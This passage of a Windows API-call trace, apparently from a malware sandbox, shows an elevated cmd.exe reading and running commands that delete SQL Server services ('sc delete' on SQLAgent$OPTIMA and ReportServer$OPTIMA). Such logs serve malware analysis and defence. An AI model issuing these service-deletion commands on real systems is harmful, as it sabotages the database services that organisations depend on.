_Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0072.136] _vsnwprintf (in: _Buffer=0x4a06ebaa, _BufferCount=0x3d9, _Format="%c", _ArgList=0x2cf148 | out: _Buffer=">") returned 1 [0072.136] _get_osfhandle (_FileHandle=1) returned 0x120 [0072.136] GetFileType (hFile=0x120) returned 0x3 [0072.136] _get_osfhandle (_FileHandle=1) returned 0x120 [0072.136] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x4a07c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", lpUsedDefaultChar=0x0) returned 39 [0072.136] WriteFile (in: hFile=0x120, lpBuffer=0x4a07c320*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x2cf138, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesWritten=0x2cf138*=0x26, lpOverlapped=0x0) returned 1 [0072.136] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.136] GetFileType (hFile=0xb8) returned 0x3 [0072.136] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.136] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.136] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.136] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e320, cchWideChar=1 | out: lpWideCharStr="sc delete \"SQLAgent$OPTIMA\"\nPTIMA\"\n") returned 1 [0072.136] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.136] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.136] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.136] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e322, cchWideChar=1 | out: lpWideCharStr="c delete \"SQLAgent$OPTIMA\"\nPTIMA\"\n") returned 1 [0072.136] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.136] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.136] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.137] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e324, cchWideChar=1 | out: lpWideCharStr=" delete \"SQLAgent$OPTIMA\"\nPTIMA\"\n") returned 1 [0072.137] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.137] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.137] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.137] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e326, cchWideChar=1 | out: lpWideCharStr="delete \"SQLAgent$OPTIMA\"\nPTIMA\"\n") returned 1 [0072.137] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.137] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.137] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.137] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e328, cchWideChar=1 | out: lpWideCharStr="elete \"SQLAgent$OPTIMA\"\nPTIMA\"\n") returned 1 [0072.137] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.137] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.137] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.137] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e32a, cchWideChar=1 | out: lpWideCharStr="lete \"SQLAgent$OPTIMA\"\nPTIMA\"\n") returned 1 [0072.137] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.137] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.137] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.137] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e32c, cchWideChar=1 | out: lpWideCharStr="ete \"SQLAgent$OPTIMA\"\nPTIMA\"\n") returned 1 [0072.137] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.137] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.137] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.137] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e32e, cchWideChar=1 | out: lpWideCharStr="te \"SQLAgent$OPTIMA\"\nPTIMA\"\n") returned 1 [0072.137] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.138] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.138] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.138] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e330, cchWideChar=1 | out: lpWideCharStr="e \"SQLAgent$OPTIMA\"\nPTIMA\"\n") returned 1 [0072.138] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.138] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.138] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.138] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e332, cchWideChar=1 | out: lpWideCharStr=" \"SQLAgent$OPTIMA\"\nPTIMA\"\n") returned 1 [0072.138] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.138] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.138] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.138] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e334, cchWideChar=1 | out: lpWideCharStr="\"SQLAgent$OPTIMA\"\nPTIMA\"\n") returned 1 [0072.138] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.138] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.138] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.138] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e336, cchWideChar=1 | out: lpWideCharStr="RQLAgent$OPTIMA\"\nPTIMA\"\n") returned 1 [0072.138] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.138] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.138] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.138] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e338, cchWideChar=1 | out: lpWideCharStr="eLAgent$OPTIMA\"\nPTIMA\"\n") returned 1 [0072.138] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.138] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.138] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.139] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e33a, cchWideChar=1 | out: lpWideCharStr="pAgent$OPTIMA\"\nPTIMA\"\n") returned 1 [0072.139] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.139] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.139] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.139] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e33c, cchWideChar=1 | out: lpWideCharStr="ogent$OPTIMA\"\nPTIMA\"\n") returned 1 [0072.139] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.139] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.139] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.139] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e33e, cchWideChar=1 | out: lpWideCharStr="rent$OPTIMA\"\nPTIMA\"\n") returned 1 [0072.139] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.139] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.139] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.139] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e340, cchWideChar=1 | out: lpWideCharStr="tnt$OPTIMA\"\nPTIMA\"\n") returned 1 [0072.139] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.139] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.139] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.139] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e342, cchWideChar=1 | out: lpWideCharStr="St$OPTIMA\"\nPTIMA\"\n") returned 1 [0072.139] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.139] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.139] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.139] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e344, cchWideChar=1 | out: lpWideCharStr="e$OPTIMA\"\nPTIMA\"\n") returned 1 [0072.139] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.139] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.139] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.139] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e346, cchWideChar=1 | out: lpWideCharStr="rOPTIMA\"\nPTIMA\"\n") returned 1 [0072.139] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.139] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.140] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.140] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e348, cchWideChar=1 | out: lpWideCharStr="vPTIMA\"\nPTIMA\"\n") returned 1 [0072.140] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.140] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.140] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.140] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e34a, cchWideChar=1 | out: lpWideCharStr="eTIMA\"\nPTIMA\"\n") returned 1 [0072.140] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.140] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.140] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.140] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e34c, cchWideChar=1 | out: lpWideCharStr="rIMA\"\nPTIMA\"\n") returned 1 [0072.140] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.140] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.140] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.140] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e34e, cchWideChar=1 | out: lpWideCharStr="$MA\"\nPTIMA\"\n") returned 1 [0072.140] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.140] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.140] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.140] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e350, cchWideChar=1 | out: lpWideCharStr="OA\"\nPTIMA\"\n") returned 1 [0072.140] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.140] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.140] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.140] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e352, cchWideChar=1 | out: lpWideCharStr="P\"\nPTIMA\"\n") returned 1 [0072.140] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.140] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.140] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.140] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e354, cchWideChar=1 | out: lpWideCharStr="T\nPTIMA\"\n") returned 1 [0072.141] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.141] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.141] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.141] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e356, cchWideChar=1 | out: lpWideCharStr="IPTIMA\"\n") returned 1 [0072.141] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.141] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.141] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.141] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e358, cchWideChar=1 | out: lpWideCharStr="MTIMA\"\n") returned 1 [0072.141] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.141] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.141] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.141] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e35a, cchWideChar=1 | out: lpWideCharStr="AIMA\"\n") returned 1 [0072.141] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.141] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.141] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.141] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e35c, cchWideChar=1 | out: lpWideCharStr="\"MA\"\n") returned 1 [0072.141] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.141] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.141] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.141] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e35e, cchWideChar=1 | out: lpWideCharStr="\nA\"\n") returned 1 [0072.141] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.141] GetFileType (hFile=0xb8) returned 0x3 [0072.141] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.141] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.141] _get_osfhandle (_FileHandle=1) returned 0x120 [0072.141] GetFileType (hFile=0x120) returned 0x3 [0072.141] _get_osfhandle (_FileHandle=1) returned 0x120 [0072.141] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="sc delete \"ReportServer$OPTIMA\"\n", cchWideChar=-1, lpMultiByteStr=0x4a07c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sc delete \"ReportServer$OPTIMA\"\n", lpUsedDefaultChar=0x0) returned 33 [0072.142] WriteFile (in: hFile=0x120, lpBuffer=0x4a07c320*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2cf418, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesWritten=0x2cf418*=0x20, lpOverlapped=0x0) returned 1 [0072.142] GetProcessHeap () returned 0x4a0000 [0072.142] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4012) returned 0x4c8630 [0072.142] GetProcessHeap () returned 0x4a0000 [0072.142] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4c8630 | out: hHeap=0x4a0000) returned 1 [0072.142] GetProcessHeap () returned 0x4a0000 [0072.142] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xb0) returned 0x4c4660 [0072.142] GetProcessHeap () returned 0x4a0000 [0072.142] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x16) returned 0x4b89b0 [0072.142] GetProcessHeap () returned 0x4a0000 [0072.142] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4c) returned 0x4b97e0 [0072.142] GetConsoleOutputCP () returned 0x1b5 [0072.142] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a07bfe0 | out: lpCPInfo=0x4a07bfe0) returned 1 [0072.142] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0072.142] GetConsoleTitleW (in: lpConsoleTitle=0x2cf3d0, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 